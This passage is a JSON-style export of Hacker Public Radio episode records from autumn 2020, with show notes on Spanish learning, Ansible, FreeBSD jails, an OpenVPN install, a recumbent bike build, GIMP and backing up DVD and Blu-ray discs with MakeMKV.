                                                            \n\n","hostid":198,"series":116,"explicit":0,"license":"CC-BY-SA","tags":"Spanish, Language learning","version":0,"downloads":0,"valid":1}, {"id":3165,"date":"2020-09-18","title":"Spanish Tools Continued","duration":830,"summary":"Part two of how I am using a variety of tools to learn Spanish","notes":"

                                                            I decided to use my time spent in relative isolation to do something productive and learn another language. I picked Spanish because I am hoping to visit Mexico and other Latin American countries whenever the plague lifts. I decided to document this for anyone who wants to know what options I found and how they have worked for me so far. This is the second part of my tools exploration.

                                                            \n\n","hostid":198,"series":116,"explicit":0,"license":"CC-BY-SA","tags":"Spanish, Language learning","version":0,"downloads":0,"valid":1}, {"id":3166,"date":"2020-09-21","title":"Using Ansible to mirror a Git repo","duration":1580,"summary":"Klaatu uses Ansible to mirror a Git repo on two separate Git hosts","notes":"

                                                            \nI came up with a way to easily clone a repo living on Github and mirror it, with all the latest commits, on another Git host. You can schedule Ansible to run periodically to ensure your mirror stays updated.\n

                                                            \n\n

                                                            \nThis is Dwayne Lee's improved implementation based on my original script.\n

                                                            ","hostid":78,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"ansible,sysadmin,git","version":0,"downloads":0,"valid":1}, {"id":3167,"date":"2020-09-22","title":"A ramble with the Pentland Squires (part 1)","duration":2547,"summary":"MrX and Dave Morriss chat from opposite sides of the Pentland Hills, Edinburgh","notes":"

                                                            Introduction

                                                            \n

                                                            Once again the two HPR hosts based in Edinburgh got together over Mumble to have a chat during the COVID-19 pandemic.

                                                            \n\n

                                                            We recorded this conversation in the evening of Sunday 23rd August 2020.

                                                            \n

                                                            The audio was quite long when we’d finished, so we decided to cut it into two similar-length pieces and the remainder is released as a second episode.

                                                            \n

                                                            Show title

                                                            \n

                                                            Although a explaining a joke can often destroy it, it’s probably worth saying that the title of this show was derived from the name of a variety of potato, Pentland Squire, and the fact that the two participants were separated by the Pentland Hills in Edinburgh! \"Where was the joke?\" you ask…

                                                            \n

                                                            Notes

                                                            \n

                                                            Some of the topics we discussed:

                                                            \n
                                                              \n
                                                            • Our positions relative to the Pentland Hills: MrX is to the East and Dave is to the West of the area, which is to the south of Edinburgh, about 6 or 7 miles out.\n
                                                            • \n
                                                            \n\n\n
                                                              \n
                                                            • Glasgow Podcrawl\n
                                                                \n
                                                              • A virtual meeting this year over Jitsi
                                                              • \n
                                                              • Some people joined from very far away such as Klaatu in New Zealand
                                                              • \n
                                                            • \n
                                                            \n
                                                              \n
                                                            • Scripts written in recent times:\n
                                                                \n
                                                              • MrX: finding the duration of a video with ffprobe.
                                                              • \n
                                                              • Dave: choosing a meal from a list in a database to cook for the family
                                                              • \n
                                                            • \n
                                                            \n
                                                              \n
                                                            • Vegetarianism\n
                                                                \n
                                                              • MrX’s experiences
                                                              • \n
                                                              • Dave often makes a Nut Roast for Christmas dinner
                                                              • \n
                                                            • \n
                                                            \n","hostid":225,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"COVID-19,physical isolation,discussion","version":0,"downloads":0,"valid":1}, {"id":3168,"date":"2020-09-23","title":"FreeBSD Jails and iocage","duration":531,"summary":"Use iocage to manage freebsd jails","notes":"

                                                            FreeBSD Jails with iocage

                                                            \n

                                                            Introduction

                                                            \n

                                                            FreeBSD jails allow users to run multiple, isolated instances of FreeBSD on a single server. Iocage simplifies the management of FreeBSD Jails.

                                                            \n

                                                            https://en.wikipedia.org/wiki/OS-level_virtualization

                                                            \n

                                                            The jails will be configured to bind to an IP address on the jail host's internal network. The host OS will pass traffic from the external network to the jail.

                                                            \n

                                                            The jails will be managed with Iocage. Iocage uses ZFS properties to store configuration data for each jail, so a ZFS file system is required.

                                                            \n

                                                            Network setup

                                                            \n

                                                            These steps will:

                                                            \n
                                                              \n
                                                            1. Set up the internal network.
                                                            2. \n
                                                            3. Enable the pf packet filter
                                                            4. \n
                                                            5. Configure pf pass internet traffic to and from the jail.
                                                            6. \n
                                                            \n

                                                            PF is full featured firewall, and can do more than just pass traffic to an internal network. Refer to the PF documentation for additional configuration options.

                                                            \n

                                                            Run the following to configure the internal network and enable pf.

                                                            \n
                                                            sysrc cloned_interfaces+="lo1"\nsysrc ifconfig_lo1="inet 192.0.2.1/24"\nsysrc pf_enable="YES"\n
                                                            \n

                                                            Put the following in /etc/pf.conf

                                                            \n
                                                            # Variables\n# ext_if should be set to the hosts external NIC\next_if = "vtnet0"\njail_if = "lo1"\njail_net = $jail_if:network\n\n# NAT allows the jails to access the external network\nnat on $ext_if from $jail_net to any -> ($ext_if)\n\n# Redirect traffic on port 80 to the web server jail\n# Add similar rules for additional jails\nrdr pass on $ext_if inet proto tcp to port 80 -> 192.0.2.10\n
                                                            \n

                                                            Reboot to activate the network changes

                                                            \n

                                                            ZFS

                                                            \n

                                                            The best way to use ZFS on a VPS is to attach block storage as a new disk.

                                                            \n

                                                            If block storage is not available, you can optionally use a file as the ZFS device.

                                                            \n

                                                            Enable and start ZFS.

                                                            \n
                                                            sysrc zfs_enable="YES"\nservice zfs start\n
                                                            \n

                                                            ZFS using Block storage

                                                            \n

                                                            List the available disks. If you are using a VPS, the block store will probably be the second disk.

                                                            \n
                                                            geom disk list\n
                                                            \n

                                                            Create a ZFS pool named jailstore.

                                                            \n
                                                            zpool create jailstore  /dev/vtbd1\n
                                                            \n

                                                            ZFS using a file

                                                            \n

                                                            Create the ZFS file.

                                                            \n
                                                            dd if=/dev/zero of=/zfsfile bs=1M count=4096\n
                                                            \n

                                                            Create a ZFS pool named jailstore.

                                                            \n
                                                            zpool create jailstore /zfsfile\n
                                                            \n

                                                            Install iocage

                                                            \n
                                                            pkg install py36-iocage\n
                                                            \n

                                                            Using iocage

                                                            \n
                                                            iocage activate jailstore\niocage fetch\n\niocage create -n www ip4_addr="lo1|192.0.2.10/24" -r 11.1-RELEASE\niocage start www\niocage console www\n
                                                            \n

                                                            Once you have a shell inside the jail, install and start Apache.

                                                            \n
                                                            pkg install apache24\nsysrc apache24_enable="yes"\nservice apache24 start\n
                                                            \n

                                                            Port 80 on the jail will now be accessible on the hosts IP address.

                                                            \n

                                                            Multiple jails.

                                                            \n

                                                            Additional jails can be installed using the example above.

                                                            \n
                                                              \n
                                                            1. Install the new jail with the iocage create command , but use a different IP address
                                                            2. \n
                                                            3. Expose the new jail to the network by adding additional rules to pf.conf.
                                                            4. \n
                                                            \n

                                                            Book recommendation

                                                            \n\n","hostid":342,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"BSD","version":0,"downloads":0,"valid":1}, {"id":3169,"date":"2020-09-24","title":"Ludwig van Beethoven with a hint of Chopin","duration":2518,"summary":"A fine treat to satisfy your earholes.","notes":"

                                                            All music in this episode is freely available from musopen.org.

                                                            \n\n

                                                            Links

                                                            \n\n\n","hostid":383,"series":22,"explicit":0,"license":"CC-BY-SA","tags":"Ludwig Van Beethoven,Fredrick Chopin,classical,energetic,music,public domain","version":0,"downloads":0,"valid":1}, {"id":3170,"date":"2020-09-25","title":"GIMP: Color Tools","duration":1199,"summary":"With Color Tools you can adjust the colors and brightness of an image.","notes":"

                                                            Color Tools are where you can adjust the colors and brightness of an image.You can change the color balance, adjust individual colors or transparency without affecting other colors, and so on. This is the fourth of the four general groups of tools we will look at for GIMP. There will also be some miscellaneous tools.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":113,"explicit":0,"license":"CC-BY-SA","tags":"GIMP, images, photos, graphics, color","version":0,"downloads":0,"valid":1}, {"id":3171,"date":"2020-09-28","title":"A Week On Soylent","duration":735,"summary":"Lostnbronx tries eating nothing but Soylent, so you don't have to.","notes":"

                                                            I bought - and ate - a jar of Soylent, which is a powdered food replacement product. These are my thoughts.

                                                            \n","hostid":107,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"soylent, food, health, diet, lostnbronx","version":0,"downloads":0,"valid":1}, {"id":3172,"date":"2020-09-29","title":"A ramble with the Pentland Squires (part 2)","duration":2983,"summary":"Second half of the chat between MrX and Dave Morriss","notes":"

                                                            The two HPR hosts based in Edinburgh got together over Mumble on the evening of Sunday 23rd August 2020 to have a chat during the COVID-19 pandemic.

                                                            \n\n

                                                            This is the second half of the conversation. For the first part see HPR show 3167.

                                                            \n

                                                            Notes

                                                            \n

                                                            Some of the topics we discussed:

                                                            \n\n\n
                                                              \n
                                                            • Digital data versus pieces of paper\n
                                                                \n
                                                              • Dave is using a Google spreadsheet shopping list which he can share with his kids who are shopping for him
                                                              • \n
                                                              • There’s still a desire to keep things on paper though
                                                              • \n
                                                              • The tendency to hoard bits of paper
                                                              • \n
                                                            • \n
                                                            \n
                                                              \n
                                                            • Using Windows\n
                                                                \n
                                                              • Multiple (virtual) desktops on Windows 10, a counter-intuitive design
                                                              • \n
                                                              • Outlook as a mail client (with Exchange) is very poor compared to open source options
                                                              • \n
                                                            • \n
                                                            \n\n
                                                              \n
                                                            • The current pandemic\n
                                                                \n
                                                              • Lockdown controls exposure to the virus and limits cases
                                                              • \n
                                                              • Fewer cases means the health service can cope better
                                                              • \n
                                                              • Sheltering keeps vulnerable people safe until a vaccine is available
                                                              • \n
                                                              • Herd Immunity is when the majority of people are immune to the virus and don’t transmit it to vulnerable people
                                                              • \n
                                                              • Long-term effects of COVID-19
                                                              • \n
                                                              • Asymptomatic carriers of the virus
                                                              • \n
                                                            • \n
                                                            \n
                                                              \n
                                                            • HPR listening and contributing in the time of COVID\n
                                                                \n
                                                              • Current times tend to make it harder to keep up to date with shows
                                                              • \n
                                                              • It’s also harder to make time to make contributions at the moment
                                                              • \n
                                                              • Issues with motivation
                                                              • \n
                                                            • \n
                                                            \n
                                                              \n
                                                            • Miscellaneous\n
                                                                \n
                                                              • MrX’s car needing attention due to rust
                                                              • \n
                                                              • Dave’s anecdote of his neighbour losing power late one night
                                                              • \n
                                                            • \n
                                                            \n","hostid":225,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"COVID-19,physical isolation,discussion","version":0,"downloads":0,"valid":1}, {"id":3173,"date":"2020-09-30","title":"Manage your Raspberry Pi fleet with Ansible","duration":1209,"summary":"A solution to the problem of updating difficult-to-reach Raspberry Pis in the enterprise.","notes":"

                                                            \nThis is the final show in the miniseries on how to manage your RaspberryPis with ansible. The goal is to produce a common base Raspberry Pi OS image that doesn't change often but, once it's installed, can automatically be customized, maintained, and managed remotely.\n

                                                            \n

                                                            \nWe will create the base image using the script fix-ssh-on-pi which is available on GitHub. \n

                                                            \n

                                                            \nThen we will identify the hosts on the network with tips from operat0r in show hpr3090 :: Locating Computers on a Enterprise Network, or for simpler networks from my own show hpr3052 :: Locating computers on a network.\n

                                                            \n

                                                            \nFinally we will provision the devices using tips from hpr3080 :: Ansible ping, and hpr3162 :: Introduction to Ansible \n

                                                            \n

                                                            \nThis show has been been simultaneously published as an article on opensource.com.\n

                                                            \n\n

                                                            Links

                                                            \n","hostid":30,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"raspberrypi, Raspbian, ansible, opensource.com","version":0,"downloads":0,"valid":1}, {"id":3174,"date":"2020-10-01","title":"Linux Inlaws S01E14: The big programming language panel","duration":3174,"summary":"Our heroes host an eclectic panel of experts discussion C(++), Python and Rust. ","notes":"
                                                            Shownotes:
                                                            \n\n","hostid":384,"series":111,"explicit":1,"license":"CC-BY-SA","tags":"C++, Python, Rust, Rainbow Escorts, Halloween","version":0,"downloads":0,"valid":1}, {"id":3175,"date":"2020-10-02","title":"International Keyboard","duration":681,"summary":"How I learned to implement a keyboard that lets me type in Spanish","notes":"

                                                            I decided to use my time spent in relative isolation to do something productive and learn another language. I picked Spanish because I am hoping to visit Mexico and other Latin American countries whenever the plague lifts. I decided to document this for anyone who wants to know what options I found and how they have worked for me so far. This is the third part where I explain how I implemented the US International Keyboard on a variety of platforms. This lets me type characters that Spanish uses which do not appear on a standard US English keyboard. And best of all, it a purely free software fix.

                                                            \n\n","hostid":198,"series":116,"explicit":0,"license":"CC-BY-SA","tags":"Spanish, Language learning, typing foreign characters","version":0,"downloads":0,"valid":1}, {"id":3176,"date":"2020-10-05","title":"HPR Community News for September 2020","duration":4187,"summary":"HPR Volunteers talk about shows released and comments posted in September 2020","notes":"\n\n

                                                            New hosts

                                                            \n

                                                            \nThere were no new hosts this month.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
                                                            IdDayDateTitleHost
                                                            3152Tue2020-09-01My Pocket KnivesDave Morriss
                                                            3153Wed2020-09-02Fixing eBooks with Calibre and pdfcropKen Fallon
                                                            3154Thu2020-09-03Make NextCloud your next cloudPaul Quirk
                                                            3155Fri2020-09-04LastPass Security DashboardAhuka
                                                            3156Mon2020-09-07HPR Community News for August 2020HPR Volunteers
                                                            3157Tue2020-09-08Compostklaatu
                                                            3158Wed2020-09-09Fingerprint access control? LOL... Cedric De Vroey
                                                            3159Thu2020-09-10Vivaldi - The Four SeasonsPaul Quirk
                                                            3160Fri2020-09-11GIMP: Transform ToolsAhuka
                                                            3161Mon2020-09-14How I manage podcast listeningDave Morriss
                                                            3162Tue2020-09-15Introduction to Ansibleklaatu
                                                            3163Wed2020-09-16Linux Inlaws S01E13: The road to communism and freedommonochromec
                                                            3164Thu2020-09-17I'm Learning SpanishAhuka
                                                            3165Fri2020-09-18Spanish Tools ContinuedAhuka
                                                            3166Mon2020-09-21Using Ansible to mirror a Git repoklaatu
                                                            3167Tue2020-09-22A ramble with the Pentland Squires (part 1)Dave Morriss
                                                            3168Wed2020-09-23FreeBSD Jails and iocagenorrist
                                                            3169Thu2020-09-24Ludwig van Beethoven with a hint of ChopinPaul Quirk
                                                            3170Fri2020-09-25GIMP: Color ToolsAhuka
                                                            3171Mon2020-09-28A Week On Soylentlostnbronx
                                                            3172Tue2020-09-29A ramble with the Pentland Squires (part 2)Dave Morriss
                                                            3173Wed2020-09-30Manage your Raspberry Pi fleet with AnsibleKen Fallon
                                                            \n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 15 comments in total.

                                                            \n

                                                            Past shows

                                                            \n

                                                            There are 2 comments on\n2 previous shows:

                                                            \n
                                                              \n
                                                            • hpr3138\n(2020-08-12) \"Linux Inlaws S01E12: Reminiscing in FLOSS Weekly\"\nby monochromec.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 5:\nRobert on 2020-09-02:\n\"..._---_\"

                                                              \n
                                                            • hpr3146\n(2020-08-24) \"Help Me Help you with HPR eps!\"\nby operat0r.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nKen Fallon on 2020-09-05:\n\"Keep doing what you're doing\"

                                                              \n
                                                            \n

                                                            This month's shows

                                                            \n

                                                            There are 13 comments on 6 of this month's shows:

                                                            \n
                                                            • hpr3152\n(2020-09-01) \"My Pocket Knives\"\nby Dave Morriss.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nReto on 2020-09-24:\n\"Link to the other knive podcast\"

                                                              \n
                                                            • hpr3154\n(2020-09-03) \"Make NextCloud your next cloud\"\nby Paul Quirk.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nWindigo on 2020-09-11:\n\"Nextcloud and self hosting\"

                                                              \n
                                                            • hpr3158\n(2020-09-09) \"Fingerprint access control? LOL... \"\nby Cedric De Vroey.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nBeeza on 2020-09-11:\n\"The need for \"meta procedures\"\"
                                                              • Comment 2:\nAhuka on 2020-09-11:\n\"Fantastic show!\"

                                                              \n
                                                            • hpr3161\n(2020-09-14) \"How I manage podcast listening\"\nby Dave Morriss.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nReto on 2020-09-24:\n\"Sansa MP3 Players\"
                                                              • Comment 2:\nDave Morriss on 2020-09-27:\n\"Rockbox and Sansa players\"
                                                              • Comment 3:\nKevin O'Brien on 2020-09-27:\n\"My Rockbox/Sansa experience\"
                                                              • Comment 4:\nDave Morriss on 2020-09-29:\n\"No more Sansa Clip Plus\"

                                                              \n
                                                            • hpr3167\n(2020-09-22) \"A ramble with the Pentland Squires (part 1)\"\nby Dave Morriss.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nAaron on 2020-09-27:\n\"Nice conversation, thanks for sharing it\"
                                                              • Comment 2:\nZen_Floater2 on 2020-09-27:\n\"Squirrels love local chit-chat\"
                                                              • Comment 3:\nDave Morriss on 2020-09-29:\n\"Thanks for the feedback\"

                                                              \n
                                                            • hpr3168\n(2020-09-23) \"FreeBSD Jails and iocage\"\nby norrist.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\n0xf10e on 2020-09-27:\n\"Why an additional disk/zpool?\"
                                                              • Comment 2:\nnorrist on 2020-09-28:\n\"2nd disk for iocage\"

                                                              \n
                                                            \n\n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mail List which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\nMailman.\n

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2020-September/thread.html\n\n\n

                                                            Events Calendar

                                                            \n

                                                            With the kind permission of LWN.net we are linking to\nThe LWN.net Community Calendar.

                                                            \n

                                                            Quoting the site:

                                                            \n
                                                            This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.
                                                            \n\n

                                                            Any other business

                                                            \n

                                                            Tags and Summaries

                                                            \n

                                                            Thanks to the following contributor for sending in updates in the past month:
                                                            \nWindigo

                                                            \n

                                                            Over the period tags and/or summaries have been added to 7 shows which were without them.

                                                            \n

                                                            If you would like to contribute to the tag/summary project visit the summary page at https://hackerpublicradio.org/report_missing_tags.php and follow the instructions there.

                                                            \n\n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":3177,"date":"2020-10-06","title":"Zero cost VPN","duration":407,"summary":"OpenVPN on a Free Tier VPS for securing phone trafic ","notes":"

                                                            A basic overview of the VPN I use

                                                            \n
                                                              \n
                                                            • Linux on a free/low cost VPS
                                                            • \n
                                                            • Helper script install OpenVPN and generate client config file
                                                            • \n
                                                            • Transfer client config file to mobile device
                                                            • \n
                                                            • Install OpenVPN client on Mobile Device and import the config
                                                            • \n
                                                            \n

                                                            There are a few options for the Linux server. Free tier cloud providers

                                                            \n
                                                              \n
                                                            • AWS
                                                            • \n
                                                            • Google
                                                            • \n
                                                            • Azure
                                                            • \n
                                                            \n

                                                            VPS with Free credits ($20-$100) for new accounts I've gotten discount codes from podcasts

                                                            \n
                                                              \n
                                                            • Digital Ocean
                                                            • \n
                                                            • Linode
                                                            • \n
                                                            \n

                                                            VPS requirements for running a OpenVPN server are pretty are basic

                                                            \n
                                                              \n
                                                            • Internet accessible IP address
                                                            • \n
                                                            • Average Network speed
                                                            • \n
                                                            • root shell access
                                                            • \n
                                                            \n

                                                            The openvpn installer is on GitHub. https://github.com/angristan/openvpn-install

                                                            \n

                                                            On the server as root, run

                                                            \n
                                                            git clone https://github.com/angristan/openvpn-install.git\n/openvpn-install/openvpn-install.sh\n
                                                            \n","hostid":342,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"VPN, OpenVPN","version":0,"downloads":0,"valid":1}, {"id":3178,"date":"2020-10-07","title":"Finishing the Recumbent Bicycle","duration":259,"summary":"While channeling Stephen Hawking, Brian in Ohio describes finishing and riding the bike","notes":"

                                                            Websites:

                                                            \n\n

                                                            Gallery:

                                                            \n

                                                            1 - Bending Tools
                                                            \n\"1

                                                            \n

                                                            This is how I clamped up the conduit bending tool in the trusty workmate. In this configuration you can bend the tube to specific angles and make sure the bends stay in plane. The goal here is to create two side rails that are identical. The seat webbing is sewn on to these rails.

                                                            \n

                                                            2 - Needed weights
                                                            \n\"2

                                                            \n

                                                            This photo shows some more of how the bending jig was set up. Those are counter weights needed to keep the jig on the ground while the tube is being bent.

                                                            \n

                                                            3 - Seat rail plans
                                                            \n\"3

                                                            \n

                                                            Mr. Carson provides pdf files that you can print out to be used as templates to match your bends.

                                                            \n

                                                            4 - Marking tubes
                                                            \n\"4

                                                            \n

                                                            5 - Sighting down tube
                                                            \n\"5

                                                            \n

                                                            6 - Using marks
                                                            \n\"6

                                                            \n

                                                            7 - Help with angles
                                                            \n\"7

                                                            \n

                                                            8 - Matching to plans
                                                            \n\"8

                                                            \n

                                                            Pictures 4-8 show the layout of the tubes and how the marks are used to ensure you make mirror image rails for the seat.

                                                            \n

                                                            9 - Matching sides
                                                            \n\"9

                                                            \n

                                                            10 - Seat backs
                                                            \n\"10

                                                            \n

                                                            11 - Drilling fish mouths
                                                            \n\"11

                                                            \n

                                                            12 - Seat backs ready for trimming
                                                            \n\"12

                                                            \n

                                                            13 - Finished seat backs
                                                            \n\"13

                                                            \n

                                                            14 - Jigging up
                                                            \n\"14

                                                            \n

                                                            Pictures 9-14 outline the steps in fabricating the seat backs. The seat backs tie the rails together and are where the clamps that connect the seat to the frame grab the seat. This part of the construction can be overwhelming if you don't take it one step at a time. I had to constantly remind myself that building the bike was not a race but a journey, take your time and enjoy each little milestone. The last picture is the seat frame jigged up and ready for brazing.

                                                            \n

                                                            15 - Seat stay one
                                                            \n\"15

                                                            \n

                                                            16 - Seat stay two
                                                            \n\"16

                                                            \n

                                                            The seat stay was at first glance very intimidating. This piece connects the back of the seat down to the frame, supporting the upper part of your body. Its made of many parts, but all they are is cut up pieces of steel rod and threaded rod that are brazed together. No bending is involved only cutting and brazing and in the end it wasn't to difficult to fabricate.

                                                            \n

                                                            17 - Seat stay three
                                                            \n\"17

                                                            \n

                                                            The completed seat connected to the frame. The seat is clamped to the frame using hose clamps and clamping blocks made of conduit cut length wise and brazed together at right angles.

                                                            \n

                                                            18 - Seat webbing one
                                                            \n\"18

                                                            \n

                                                            19 - Seat webbing two
                                                            \n\"19

                                                            \n

                                                            The seat webbing is sewn on using fishing line as described on the website, the only challenge is getting it nice and tight. Needle, line and a few hpr episodes is all you need to get through the task.

                                                            \n

                                                            20 - Finished
                                                            \n\"20

                                                            \n

                                                            The last picture is the bike finished and ready for its maiden journey.

                                                            \n

                                                            Espeak script:

                                                            \n

                                                            Hello Hacker Public Radio, Brian in Ohio here.

                                                            \n

                                                            I am out from under my rock, and doing the last of the recumbent bike build episodes. My wife and I are visiting the land of our youth, Colorado, so my recording stuff is at home, hence the espeak rendition of the show. I finished building the bike a while ago and have been riding it around town to do errands and get exercise. I love this bike! The comfort level is unparalleled. Its like sitting in a chase lounge. No more neck strain or pain in the derriere. You don't need any fancy bike clothes, like padded biking shorts, in order to feel comfortable. The bike is fast and has responsive handling. Somethings I have learned so far while riding the bike. First, a rear view mirror really helps when riding on the street. Unlike upright bikes turning your head to look back to clear for traffic is not as easy. Next, the handling takes some getting used to. The long lever arm of the steering tube makes the bike feel jerky when you first ride it. After a while you'll see that a light hand on the tiller goes a long way to smoothing out the ride. It took me a bit of practice to gracefully get the bike started after coming to a stop. Because you can't stand up and hammer on the peddles, coming to a stop requires a bit of work on the gears. Being in a easy gear then shifting up as you get moving is the way to go. If you build one of these bikes, and why wouldn't you, you will have to think about storage because throwing a back pack on is not really an option. I found a bike rack that attaches to the back of the bike, a grocery store plastic basket and an instructive video tutorial by C J Hoyle on you tube took care of my storage needs, a link is in the show notes. The last parts that need to be fabricated to complete the bike were the seat and the handle bars, and all of there associated bits and pieces that make up these assemblies. Instead of narrating through all the pictures, I leave you, dear hacker public radio listener, that's interested to look at the pictures and read the captions yourself. My general impressions of building the pieces are as follows. The handle bars are relatively easy to fabricate but the big problem for me was the metal on the handle bars you use to make the tiller did not braze well with the conduit. In the end I had to resort to pop rivets and a through bolt to get a safe, sturdy connection. The seat is a collection of many parts and at first glance can be a bit overwhelming. By examining the photos on the recycled recumbent website and studying the plans, focusing on each step the seat came out fine for me, yours will too. The side rails are bent using a conduit bender and the challenge is getting the two sides close to match. Take your time and get some extra conduit, you're probably going to need it. The seat back stay is pretty easy to make, but it is made up of quite a few parts, requiring simple cuts and brazing to fashion it. The rest of the seat parts, the various fittings used to clamp the seat to the frame are pretty easy to make and I can't compliment Mr. Carsen highly enough for his ingenious design. Fitting out the bike; getting wheels, brakes and drive train together are going to be unique to every bike and will depend on how much money you want to spend, what parts you have laying around and what fittings you might have to create to attach the parts. I opted to use used parts that were at hand so I could get the bike up and running. I plan on upgrading parts, making changes and improvements after I've ridden the bike for a few months and gotten a good number of miles under my belt. I'll do an update show in the future to let you know what I've done. Will I do this again? Yes definitely I will build another bike, maybe a mach two or three, the building is fun the bike rides great. Mr Carsen sells parts, kits and completed bikes on his website. When I do it again I may opt to buy the seat from him. I would recommend this project to anyone. You can, go out and build one yourself.

                                                            \n

                                                            This is Brian in Ohio signing off for now reminding every one to: go fast; take chances.

                                                            \n","hostid":326,"series":115,"explicit":0,"license":"CC-BY-SA","tags":"bicycle, recumbent","version":0,"downloads":0,"valid":1}, {"id":3179,"date":"2020-10-08","title":"MakeMKV to back up media, and a Question","duration":404,"summary":"Describing two ways to install MakeMKV DVD/Blu-ray backup program on Fedora 32","notes":"

                                                            Installed Fedora 32 on a spare laptop

                                                            \n
                                                            Quick tip
                                                            \n

                                                            To ignore the handle switch on the laptop triggering a power off:

                                                            \n

                                                            Put HandleLidSwitch=ignore in /etc/systemd/logind.conf

                                                            \n

                                                            Install MakeMKV from source

                                                            \n
                                                            dnf install https://download1.rpmfusion.org/free/fedora/rpmfusion-free-release-$(rpm -E %fedora).noarch.rpm https://download1.rpmfusion.org/nonfree/fedora/rpmfusion-nonfree-release-$(rpm -E %fedora).noarch.rpm\n\ndnf install zlib-devel openssl-devel expat-devel ffmpeg ffmpeg-devel qt5-qtbase-devel\nmkdir git/makemkv.source\n\ncd makemkv.source\nwget https://www.makemkv.com/download/makemkv-oss-1.15.2.tar.gz\nwget https://www.makemkv.com/download/makemkv-bin-1.15.2.tar.gz\n\ntar xpf makemkv-oss-1.15.2.tar.gz\ntar xpf makemkv-bin-1.15.2.tar.gz\n\ncd makemkv-oss-1.15.2/\n./configure\nmake\nsudo make install\n\ncd ../makemkv-bin-1.15.2/\nmake\nsudo make install
                                                            \n

                                                            Install MakeMKV from flathub

                                                            \n
                                                            flatpak remote-add --if-not-exists flathub https://flathub.org/repo/flathub.flatpakrepo\nflatpak install flathub com.makemkv.MakeMKV
                                                            \n

                                                            Install ccextractor

                                                            \n
                                                            dnf install libtesseract-dev autoconf sysconftool\n\ngit clone https://github.com/CCExtractor/ccextractor.git\ncd ccextractor/linux/\n./build
                                                            \n

                                                            Enable expert mode

                                                            \n


                                                            \n

                                                            \n

                                                            Provide path to the ccextractor binary

                                                            \n


                                                            \n

                                                            \n

                                                            Re-encoding MKV file

                                                            \n
                                                            ffmpeg -i $1 -b:a 128k -b:v 2000k -vcodec mpeg4 -acodec aac "encoded"/"`basename -s .mkv $1`-_2000k_aac.mkv"
                                                            \n

                                                            Updated registration key (Good for 2 months?)

                                                            \n

                                                            Updated registration key for MakeMKV

                                                            \n

                                                            MakeMKV registration code update script (Untested)

                                                            \n

                                                            Github link to MakeMKV registration update script

                                                            \n

                                                            Other links

                                                            \n

                                                            How to install MakeMKV on Fedora Linux
                                                            Forum post for MakeMKV on Linux

                                                            \n

                                                            How to play/rip Blu-ray discs on Mplayer command line

                                                            \n

                                                            For DVD's

                                                            \n
                                                            mplayer dvd:///_/dvd/mount/dir_
                                                            \n

                                                            For Blu-ray discs
                                                            Download keydb.cfg and place it in ~/.config/aacs/
                                                            Link to keydb.cfg

                                                            \n
                                                            mplayer br:///_/bluray/mount/dir_\nie. mplayer br:////dev/sr0 <br>
                                                            \n

                                                            note the 3 forward slashes before the block device, as the disk will not be read otherwise

                                                            \n

                                                            Ripping:

                                                            \n
                                                            mplayer br:////dev/sr0 -alang en -dumpstream -dumpfile $movie.mpg
                                                            \n

                                                            Encoding:

                                                            \n
                                                            mkdir encoded\nffmpeg -i $1 -map 0:0 -map 0:1 -b:a 128k -b:v 2000k -vcodec mpeg4 "encoded"/"`basename -s .mpg $1`.mkv"
                                                            \n

                                                            Questions for the Community:

                                                            \n

                                                            Is it antiquated to want to rip Blu-ray/DVD disks to a server?

                                                            \n

                                                            Is there a better way to accomplish this, rather than using MakeMKV, which continues to be Beta software, and not Free and Open Source?

                                                            \n","hostid":318,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"dvd, blu-ray, backup","version":0,"downloads":0,"valid":1}, {"id":3180,"date":"2020-10-09","title":"GIMP: Miscellaneous Tools","duration":803,"summary":"These few remaining tools are important, but don't fit neatly into one category.","notes":"

                                                            The Miscellaneous tools do a number of useful things without fitting neatly into a category. The Paths tool takes Selections up a notch and also lets you add interesting effects. Zoom is one you would use every day, and Measure is handy in some situations. Finally, GEGL Operations are the future of all GIMP development

                                                            \n

                                                            Links:

